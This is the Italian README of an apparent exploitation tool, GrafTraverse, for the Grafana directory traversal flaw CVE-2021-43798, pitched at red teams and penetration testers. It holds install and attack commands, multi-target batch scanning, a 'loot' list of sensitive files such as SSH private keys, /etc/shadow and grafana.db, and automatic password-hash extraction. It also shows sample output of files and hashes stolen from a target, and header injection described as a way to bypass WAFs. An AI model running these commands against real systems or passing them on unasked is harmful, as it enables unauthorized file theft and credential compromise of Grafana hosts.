
CVE-2021-43798 MiNi Framework di Sfruttamento
Strumento di automazione da riga di comando per test di sicurezza autorizzati di Grafana Directory Traversal (CVE-2021-43798).
CVE-2021-43798 è una vulnerabilità di directory traversal non autenticata in Grafana 8.x che consente agli aggressori di leggere file arbitrari dal filesystem sottostante tramite l'endpoint /public/plugins/. La causa principale è una sanificazione impropria dei percorsi nelle richieste di asset dei plugin, che permette a sequenze ../ di uscire dalla directory prevista.
GrafTraverse è una riscrittura completa del proof-of-concept originale. Risolve bug critici nella gestione delle richieste, aggiunge scansione batch multi-thread, rilevamento automatico dei plugin, estrazione di credenziali e reportistica strutturata — rendendolo uno strumento di livello produttivo per red team e penetration tester.
# Clona il repository
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Assicurati che requests sia disponibile (è preinstallato su Kali)
pip3 install requests
# Rendi eseguibile
chmod +x GrafTraverse.py
GrafTraverse utilizza una CLI basata su sottocomandi. Tutti i comandi supportano --help.
Avvia il menu interattivo contro un host:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
Identifica rapidamente quale endpoint del plugin è vulnerabile senza sfruttamento:
python3 GrafTraverse.py scan -u http://target:PORT
Carica i target da un file e processali contemporaneamente:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
Formato di targets.txt:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Le righe che iniziano con # vengono ignorate
Fornisci una lista di file personalizzata per traversal approfondito:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Instrada attraverso Burp Suite e aggiungi intestazioni personalizzate:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| Flag | Descrizione |
|---|---|
-l, --list | File con URL dei target (obbligatorio) |
--workers | Thread concorrenti (default: 5) |
(tutti i flag di single supportati) |
scan| Flag | Descrizione |
|---|---|
-u, --url | URL del target (obbligatorio) |
| (tutti i flag di rete supportati) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
La sequenza di bottino integrata tenta di recuperare i seguenti file in ordine:
| Caratteristica | Descrizione |
|---|
| Brute-Force Multi-Plugin | Sonda automaticamente oltre 40 plugin integrati per trovare un percorso vulnerabile |
| Modalità Interattiva | Sfruttamento di un singolo target guidato da menu con anteprima live dei file |
| Modalità Batch | Scansione multi-target concorrente con thread worker configurabili |
| Modalità Wordlist | Enumerazione approfondita di file utilizzando wordlist personalizzate |
| Estrazione Automatica Hash | Estrae automaticamente hash di password PBKDF2 dal grafana.db scaricato |
| Logging Strutturato | Esporta i risultati in JSON e CSV per una reportistica senza soluzione di continuità |
| Supporto Proxy | Instrada il traffico attraverso Burp, ZAP o qualsiasi proxy HTTP (--proxy) |
| Intestazioni Personalizzate | Inietta intestazioni arbitrarie per bypassare WAF o token di autenticazione (-H) |
| Personalizzazione Traversal | Sovrascrivi la profondità di traversal predefinita per ambienti non standard (--depth) |
| Filtraggio Intelligente | Elimina i falsi positivi rifiutando le risposte JS/CSS/HTML dei plugin |
| Zero Dipendenze | Richiede solo requests (pre-installato su Kali / Parrot) |
| Flag | Descrizione |
|---|
-u, --url | URL del target (obbligatorio) |
--no-download | Modalità sola visualizzazione, non salvare i file |
-t, --timeout | Timeout della richiesta in secondi (default: 10) |
--proxy | URL del proxy HTTP/HTTPS |
-H, --header | Intestazione personalizzata (ripetibile) |
--depth | Stringa di traversal (default: ../../../../../../../../) |
--output-dir | Directory per salvare i file recuperati |
--json | Aggiungi i risultati a un file di log JSON |
--csv | Aggiungi i risultati a un file di log CSV |
--wordlist | File contenente i percorsi da enumerare |
--plugin | Forza un nome specifico di plugin |
| File | Tipo | Sensibilità |
|---|
/etc/passwd | Testo | Enumerazione utenti |
/etc/shadow | Testo | Hash password (raramente leggibili) |
/etc/hosts | Testo | Topologia di rete |
/etc/hostname | Testo | Identificazione host |
/etc/grafana/grafana.ini | Testo | Segreti Grafana e credenziali DB |
/var/lib/grafana/grafana.db | Binario | Database SQLite con hash utenti e chiavi API |
/var/log/grafana/grafana.log | Testo | Informazioni operative |
/root/.ssh/id_rsa | Testo | Chiave privata SSH |
/root/.ssh/authorized_keys | Testo | Mappatura accesso basato su chiave |
/proc/self/environ | Testo | Variabili d'ambiente del processo |
/proc/self/cmdline | Testo | Argomenti del processo |
/proc/version | Testo | Versione del kernel |
/proc/mounts | Testo | Layout del filesystem |
/etc/os-release | Testo | Identificazione SO |
/etc/issue | Testo | Identificazione SO |
/etc/crontab | Testo | Attività pianificate |
/etc/resolv.conf | Testo | Configurazione DNS |